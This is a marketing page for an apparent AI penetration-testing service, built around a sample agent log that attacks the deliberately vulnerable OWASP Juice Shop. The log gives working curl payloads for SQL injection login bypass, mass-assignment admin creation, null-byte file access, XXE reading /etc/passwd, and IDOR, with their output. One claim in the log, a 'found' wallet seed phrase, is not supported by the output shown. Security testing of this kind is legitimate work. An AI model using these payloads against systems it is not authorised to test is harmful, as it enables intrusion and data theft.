Pen testing that thinks.

AI-powered security testing that finds real vulnerabilities, proves they're exploitable, and tells you how to fix them.

Activity Log Live

I'll systematically exploit the vulnerabilities identified in the reconnaissance phase. Let me start with the highest-impact attacks.

$curl -s http://192.168.86.249:3000/rest/admin/application-configuration | head -c 3000
{"config":{"server":{"port":3000,"basePath":"","baseUrl":"http://localhost:3000"},"application":{"domain":"juice-sh.op","name":"OWASP Juice Shop","logo":"JuiceShop_Logo.png",...

Now let me test SQL injection to extract data:

$curl -s "http://192.168.86.249:3000/rest/products/search?q='))--" | head -c 1000
{"status":"success","data":[{"id":1,"name":"Apple Juice (1000ml)","description":"The all-time classic.","price":1.99,"deluxePrice":0.99,"image":"apple_juice.jpg",...

Good! SQL injection works. Now let me extract user data using UNION-based injection:

$curl -s -G "http://192.168.86.249:3000/rest/products/search" --data-urlencode "q=')) UNION SELECT id, email, password, role, 'x', 'x', 'x', 'x' FROM Users--" | head -c 2000
Error: Unexpected path: /rest/products/search?q=%27%29%29+UNION+SELECT+id%2c+email%2c+password...

The UNION is being blocked by the routing. Let me try a different SQL injection approach - extracting data through the search itself:

$curl -s "http://192.168.86.249:3000/rest/products/search?q=%27))%20OR%201=1--" | jq -c '.data | length'
47

Let me try to register as an admin user using mass assignment:

$curl -s -X POST http://192.168.86.249:3000/api/Users -H "Content-Type: application/json" -d '{"email":"attacker@test.com","password":"Password123","role":"admin"}' | head -c 1500
{"status":"success","data":{"username":"","lastLoginIp":"0.0.0.0","profileImage":"/assets/public/images/uploads/defaultAdmin.png","isActive":true,"id":32,"email":"attacker@test.com","role":"admin",...

Excellent! I successfully registered as an admin! Let me login and get the JWT token:

$curl -s -X POST http://192.168.86.249:3000/rest/user/login -H "Content-Type: application/json" -d '{"email":"attacker@test.com","password":"Password123"}' | jq -r '.authentication.token'
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MzIsInVzZXJuYW1lIjoiIiwiZW1haWwiOiJhdHRhY2tlckB0ZXN0LmNvbSIs...

Let me try to login as admin using SQL injection:

$curl -s -X POST http://192.168.86.249:3000/rest/user/login -H "Content-Type: application/json" -d '{"email":"admin@juice-sh.op'"'"'--","password":"anything"}' | head -c 1500
{"authentication":{"token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIi...

Excellent! SQL injection login bypass successful! Let me save this.

Let me access the confidential document in the FTP directory:

$curl -s "http://192.168.86.249:3000/ftp/acquisitions.md"
# Planned Acquisitions > This document is confidential! Do not distribute! Our company plans to acquire several competitors within the next year...

Good! Let me try to access restricted files using path traversal or null byte:

$curl -s "http://192.168.86.249:3000/ftp/package.json.bak%2500.md" -o package.txt && head -c 500 package.txt
{"name":"juice-shop","version":"6.2.0-SNAPSHOT","description":"An intentionally insecure JavaScript Web Application","homepage":"http://owasp-juice.shop",...

Excellent! Poison null byte bypass successful! Let me save this.

Let me analyze the JWT token I obtained earlier:

$TOKEN=$(cat admin-token.txt) && echo $TOKEN | cut -d'.' -f2 | base64 -d 2>/dev/null | jq -c '.' | head -c 1000
{"status":"success","data":{"id":32,"username":"","email":"attacker@test.com","password":"42f749ade7f9e195bf475f37a44cafcb","role":"admin","deluxeToken":"","lastLoginIp":"0.0.0.0",...

Perfect! The JWT contains the full user object including password hash.

Let me test XXE through file upload or complaint submission:

$TOKEN=$(cat admin-token.txt) && curl -s -X POST "http://192.168.86.249:3000/file-upload" -H "Authorization: Bearer $TOKEN" -F "file=@xxe-payload.xml" | head -c 1500
Error: B2B customer complaints via file upload have been deprecated for security reasons: ...root:x:0:0:root:/root:/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/sbin/nologin...

Excellent! XXE vulnerability confirmed! The /etc/passwd file was successfully read and is displayed in the error message. Let me save this

Let me try to access another user's basket:

$TOKEN=$(cat admin-token.txt) && curl -s -X GET "http://192.168.86.249:3000/rest/basket/1" -H "Authorization: Bearer $TOKEN" | jq -c '.' | head -c 1500
{"status":"success","data":{"id":1,"coupon":null,"UserId":1,"createdAt":"2026-01-14T20:34:38.891Z","Products":[{"id":1,"name":"Apple Juice (1000ml)","price":1.99,...

Perfect! IDOR vulnerability - I can access basket 1 which belongs to user ID 1 (admin@juice-sh.op). Let me save this.

$curl -s "http://192.168.86.249:3000/api/Feedbacks" | jq -c '.data[] | {id, comment, rating, UserId}' | head -10
{"id":1,"comment":"I love this shop! Best products in town! (***in@juice-sh.op)","rating":5,"UserId":1} {"id":2,"comment":"Great shop! Awesome service! (***@juice-sh.op)","rating":4,"UserId":2}

Excellent! Found a wallet seed phrase in the feedback! Let me save this.

Let me create a summary of all successful exploits.

Currently in private pilot with select security teams

How it works

From setup to report in under an hour. Here's what you do.

Deploy the agent

Run a single Docker command on any machine that can reach your target. That's your pen tester, deployed in seconds.

Configure your target

Add your web app or API URL in the DashSec console, and start the test.

Watch it work

The AI runs a full pen test — auth discovery, recon, exploitation — live in your browser. Watch findings appear in real time.

Get your report

A professional PDF with confirmed vulnerabilities, exploitation evidence, and step-by-step remediation. Ready for your team or your board.

Your annual pen test isn't protecting you.

You deploy new code every week, but you pen test once a year — if at all. That means for most of the year, you're flying blind.

Traditional pen tests cost $5K–$15K, take weeks to schedule, and the report is outdated before the ink dries.

Vulnerability scanners are faster, but they bury you in noise — thousands of "potential" issues with no proof and no context.

There's a gap between what you need and what exists.
DashSec fills it.

Vulnerability exposure over 12 months
RISK found → fixed Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec
Traditional pen testing
With DashSec

Not just another scanner.

AI that adapts

Our AI reasons — adapting its strategy based on what it discovers in your application, just like a human pen tester would.

Proof, not predictions

Every reported vulnerability comes with evidence of successful exploitation. No theoretical risks. No noise.

Reports worth reading

Professional pen test reports with executive summaries, business impact, and prioritized remediation — ready for your stakeholders.

Deploy anywhere

Run the agent inside your private network, VPC, or staging environment. Test internal apps that cloud scanners can't even reach.

See what you get.

A real DashSec pen test report

Penetration Test Report
February 2026

Executive Summary

A comprehensive penetration test was performed against the target application. Testing identified 2 critical and 3 high-severity vulnerabilities with confirmed exploitation evidence.

CRITICAL SQL Injection — /api/users endpoint

The id parameter is vulnerable to blind SQL injection. An attacker can extract database contents including user credentials.

Evidence GET /api/users?id=1' OR '1'='1 → 200 OK (all records returned)

Join the pilot.

Be among the first to use AI-powered pen testing.

  • 5 pen tests per month
  • $100/month — early adopter pricing
  • No contracts. Cancel anytime.
  • Direct line to the founding team

Questions?
hello@dashsec.io

Frequently asked questions

What types of vulnerabilities does DashSec test for?

DashSec tests for the vulnerabilities that actually get companies breached — SQL injection, XSS, authentication bypass, IDOR, command injection, security misconfigurations, and more. Critically, DashSec chains findings together the way a real attacker would. For example, a publishable API key in client-side JavaScript might seem harmless — but DashSec will follow the chain: extract the key, discover open signup, create an account, find a missing access control policy, and use it to exfiltrate your entire user database. Each issue looks minor alone. Chained together, it's a critical breach. Scanners flag individual issues. DashSec shows you what an attacker can actually do with them.

How long does a test take?

Most tests complete in 30 minutes, depending on the size and complexity of the target application. You can monitor progress in real time.

What do I need to get started?

A Docker-capable host on your network — your laptop, a VM in your cloud VPC, or a server in your private network — and a web application to test. The agent deploys wherever your targets live, so you can test internal apps that cloud-based scanners can't reach. Setup takes about 10 minutes.

Is this a replacement for human pen testers?

DashSec and human pen testers are complementary — not just because DashSec enables continuous testing, but because AI finds things differently. DashSec can instantly analyze a minified JavaScript bundle to map every API call in a single-page app, or test hundreds of parameter combinations in minutes — things that are tedious and time-consuming for humans. Human pen testers bring creativity and business logic insight that AI is still developing. And here's the reality: attackers are already using AI. Testing with AI means finding what they'll find — before they do.

Is it safe to run against production?

DashSec is designed with safety constraints — it won't delete data, modify records, or cause denial of service. That said, we recommend starting with a staging environment for your first test, just like you would with a human pen tester.

What's the pilot program?

We're in early access and offering our first customers a special rate of $100/month for 5 tests. In exchange, we'd love your honest feedback to help us improve the product. No obligation — cancel anytime.